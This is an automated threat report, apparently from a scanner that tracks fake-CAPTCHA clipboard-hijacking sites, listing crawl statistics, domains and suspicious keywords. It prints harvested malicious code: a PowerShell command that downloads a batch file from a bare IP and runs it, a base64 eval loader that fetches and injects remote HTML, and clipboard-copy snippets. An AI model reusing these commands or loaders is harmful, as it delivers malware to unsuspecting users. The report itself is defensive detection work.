← Back to Analysis

Emerging ClickGrab Campaign: Advanced Analysis of 2026-10-29 Attack Patterns

📅 Published: October 29, 2026 👨‍💻 Author: ClickGrab Threat Intelligence Team 📖 12 min read
100Sites
11%Detection
1PS Downloads

ClickGrab Threat Analysis Report - 2026-10-29

Generated on 2026-10-29 06:42:27

Executive Summary

  • Total sites analyzed: 100
  • Sites with malicious content: 11
  • Unique domains encountered: 261
  • Total URLs extracted: 7,385
  • PowerShell download attempts: 1
  • Clipboard manipulation instances: 19

Domain Analysis

Most Frequently Encountered Domains

  • cozypieces.lk: 491 occurrences
  • warmembraceshop.com: 481 occurrences
  • nalagi-hotel.com: 334 occurrences
  • www.m-t.gov.gr: 324 occurrences
  • www.maheshwaree.com: 316 occurrences
  • eetools.com: 311 occurrences
  • fudgeshop.com.au: 265 occurrences
  • spinedoctors.md: 254 occurrences
  • www.lntrealty.com: 245 occurrences
  • cdn.prod.website-files.com: 237 occurrences
  • xytelindia.com: 229 occurrences
  • picsera.com: 226 occurrences
  • hhpms.com: 213 occurrences
  • scillarodriguez.com: 200 occurrences
  • www.mothercare.co.id: 169 occurrences

URL Pattern Analysis

reCAPTCHA imagery

20 occurrences across 15 distinct URLs

  • https://www.google.com/recaptcha/api.js (3 times)
  • https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg (2 times)
  • https://www.google.com/recaptcha/about/\ (2 times)
  • https://www.google.com/recaptcha/admin\ (2 times)
  • https://www.google.com/recaptcha/api.js?render=6LdUZ6UsAAAAAGDQlTU9JbkDNSA5lRyPQNODcGoQ&ver=3.0 (1 times)
  • ...and 10 more distinct URLs

Font resources

132 occurrences across 106 distinct URLs

  • https://fonts.gstatic.com (13 times)
  • https://fonts.googleapis.com (12 times)
  • https://cdn.zyrosite.com/u1/google-fonts/font-faces?family=Archivo:wght@400;600;700&family=Work+Sans:wght@400;500;600&family=Google+Sans:wght@400;500&display=swap (3 times)
  • https://fonts.bunny.net (2 times)
  • https://www.creatorssky.com/wp-content/plugins/testimonial-free/src/Frontend/assets/css/font-awesome.min.css?ver=3.1.16 (1 times)
  • ...and 101 more distinct URLs

CDN hosted scripts

439 occurrences across 199 distinct URLs

  • https://cdn.trustindex.io/assets/platform/Google/star/f.svg (35 times)
  • https://cdn.prod.website-files.com/6a32afdbfe8c063958d6cb3d/6aa03a59bcead488367cfd45_luminate-3%20 (9 times)
  • https://cdn.trustindex.io/assets/platform/Google/icon.svg (7 times)
  • https://cdn.prod.website-files.com/6a32afdbfe8c063958d6cb3d/6aa0357c0a2c8dee51df5dcb_luminate%201%20 (7 times)
  • https://cdn.prod.website-files.com/6a32afdbfe8c063958d6cb3b/6a451d771a5d44a3cc54278d_Rectangle%2078%20 (6 times)
  • ...and 194 more distinct URLs

Google resources

166 occurrences across 99 distinct URLs

  • https://cdn.trustindex.io/assets/platform/Google/star/f.svg (35 times)
  • https://fonts.googleapis.com (12 times)
  • https://www.googletagmanager.com/gtm.js?id= (7 times)
  • https://cdn.trustindex.io/assets/platform/Google/icon.svg (7 times)
  • https://www.google.com/recaptcha/api.js (3 times)
  • ...and 94 more distinct URLs

Suspicious Keyword Analysis

Total Keywords Found: 249 (62 unique)

Keyword Categories

Social Engineering

42 unique keywords

  • captcha_0
  • I am not a robot
  • captcha-controls-js
  • Verification ID
  • captchaSiteKey
  • captcha_empty
  • captcha_link_
  • captcha_provider
  • CaptchaError
  • verification-code-bEE4bmZ6Sis0OVNmUDNCTHp3NWF2VmtTOEVZS2tDeThycE1CcFNPZUttcUZVVnBlT01LZlk1UFh1bm1vZDFqUm5ZOU91c3FNMk5rMnh3MWxqNDdNTTh4UUlnRW1RVjJmemdOM1drcEJWWnk2VmdFUWFac05XcWJMOW9BdkFWRFN8NlJHVVdMb21HSEFXRkc0SFErT0N3ODBid0t3MjA3djcwc20yZHhFekdOST0
  • ...and 32 more

Obfuscation Indicators

2 unique keywords

  • eval(atob('ICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJtZXNzYWdlIiwgZSA9PntpZihlLmRhdGEgPT09ICJyZWxvYWQiKXsgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZWxvYWQoKTsgICAgfX0pO2Z1bmN0aW9uIGdldENvb2tpZShuYW1lKXtjb25zdCBtYXRjaCA9IGRvY3VtZW50LmNvb2tpZS5tYXRjaChuZXcgUmVnRXhwKCIoXnw7ICkiICsgbmFtZSArICI9KFteO10qKSIpKTtyZXR1cm4gbWF0Y2ggPyBkZWNvZGVVUklDb21wb25lbnQobWF0Y2hbMl0pIDogbnVsbDt9Y29uc3QgY29va2llbmFtZSA9ICJjb29raWUtY2FwdGNoYS1jb21wbGV0ZSI7Y29uc3QgY29va2llID0gZ2V0Q29va2llKGNvb2tpZW5hbWUpO2lmKCFjb29raWUpe2ZldGNoKCJodHRwczovL2dhdGVwYXNzLWNvcnAuY29tIikgLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2Uub2sgPyByZXNwb25zZS50ZXh0KCkgOiBQcm9taXNlLnJlamVjdCgpKS50aGVuKGh0bWwgPT57aWYoaHRtbC5sZW5ndGggPT09IDApe2RvY3VtZW50LmNvb2tpZSA9IGNvb2tpZW5hbWUgKyAiPTE7IHBhdGg9LzsgbWF4LWFnZT0iICsgKDYwICogNjAgKiAyNCAqIDM2NSk7fWVsc2V7ZG9jdW1lbnQuYm9keS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsIGh0bWwpO319KS5jYXRjaCgoKSA9PiBjb25zb2xlLmVycm9yKCJGYWlsZWQgdG8gbG9hZCBwYWdlISIpKTt9'))
  • eval(

System Commands

6 unique keywords

  • invoke
  • const command =
  • command =powershell -c "Invoke-WebRequest -Uri 'http://95.164.53.214:5554/d.bat' -OutFile \"%temp%\d.bat\" -UseBasicParsing; Start-Process \"%temp%\d.bat\"";
  • Invoke
  • powershell
  • Invoke-WebRequest

Verification Text

2 unique keywords

  • hidden
  • Hidden

Technical Terms

10 unique keywords

  • .bat
  • You will observe
  • press Enter
  • responseText
  • click to verify
  • bypass
  • system (EMS)
  • failed_to_retrieve
  • Ray ID
  • amos

Most Frequent Keywords

  • failed_to_retrieve: 56 occurrences
  • hidden: 39 occurrences
  • robot: 33 occurrences
  • captcha: 18 occurrences
  • Robot: 18 occurrences
  • Captcha: 7 occurrences
  • verification: 7 occurrences
  • captcha-js: 5 occurrences
  • CAPTCHA: 4 occurrences
  • Verification: 3 occurrences
  • responseText: 2 occurrences
  • verification-id: 2 occurrences
  • Hidden: 2 occurrences
  • CaptchaError: 2 occurrences
  • captchaSiteKey: 2 occurrences

Similar Keyword Patterns

Groups of keywords that appear to be variations of the same theme:

Group 1: captcha_question, CaptchaOptions, captcha_response

Group 2: captcha, captcha_0, Captcha, captcha-js, CAPTCHA, captcha_link_, CaptchaError, captcha-error, captcha_type, captcha-badge, captcha_field, captcha-v3-js, captcha_empty

Group 3: robot, Robot

Group 4: hidden, Hidden

Group 5: CAPTCHA Verification, Verification, verification

JavaScript Obfuscation Analysis

Obfuscation Sophistication Score: 1/7

Detected Obfuscation Techniques

Base64 Encoding

Base64 encoded strings being decoded

Instances Found: 1

Examples: - ICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJtZXNzYWdlIiwgZSA9PntpZihlLmRhdGEgPT09ICJyZWxvYWQiKXsgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZWxvYWQoKTsgICAgfX0pO2Z1bmN0aW9uIGdldENvb2tpZShuYW1lKXtjb25zdCBtYXRjaCA9IGRvY3VtZW50LmNvb2tpZS5tYXRjaChuZXcgUmVnRXhwKCIoXnw7ICkiICsgbmFtZSArICI9KFteO10qKSIpKTtyZXR1cm4gbWF0Y2ggPyBkZWNvZGVVUklDb21wb25lbnQobWF0Y2hbMl0pIDogbnVsbDt9Y29uc3QgY29va2llbmFtZSA9ICJjb29raWUtY2FwdGNoYS1jb21wbGV0ZSI7Y29uc3QgY29va2llID0gZ2V0Q29va2llKGNvb2tpZW5hbWUpO2lmKCFjb29raWUpe2ZldGNoKCJodHRwczovL2dhdGVwYXNzLWNvcnAuY29tIikgLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2Uub2sgPyByZXNwb25zZS50ZXh0KCkgOiBQcm9taXNlLnJlamVjdCgpKS50aGVuKGh0bWwgPT57aWYoaHRtbC5sZW5ndGggPT09IDApe2RvY3VtZW50LmNvb2tpZSA9IGNvb2tpZW5hbWUgKyAiPTE7IHBhdGg9LzsgbWF4LWFnZT0iICsgKDYwICogNjAgKiAyNCAqIDM2NSk7fWVsc2V7ZG9jdW1lbnQuYm9keS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsIGh0bWwpO319KS5jYXRjaCgoKSA9PiBjb25zb2xlLmVycm9yKCJGYWlsZWQgdG8gbG9hZCBwYWdlISIpKTt9

Potential Base64 Encoded Content

These strings may contain encoded malicious payloads:

  • ICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJtZXNzYWdlIi...
  • bEE4bmZ6Sis0OVNmUDNCTHp3NWF2VmtTOEVZS2tDeThycE1CcF...
  • com/dist/web/assets/google
  • com/recaptcha/api/fallback
  • 6LcV3rIfAAAAAA2QP41aFzmz0YsAowENAmCMNdx9

Clipboard Manipulation Analysis

Detected clipboard manipulation in 19 instances.

Document.Execcommand Copy

Found in 3 snippets (15.8% of clipboard code)

Examples:

document.execCommand('copy')

Textarea Manipulation

Found in 3 snippets (15.8% of clipboard code)

Examples:

tListener("click", function () { const textarea = document.createElement('textarea'

Report truncated for storage. Full per-site detail is available in the scan JSON under nightly_reports/.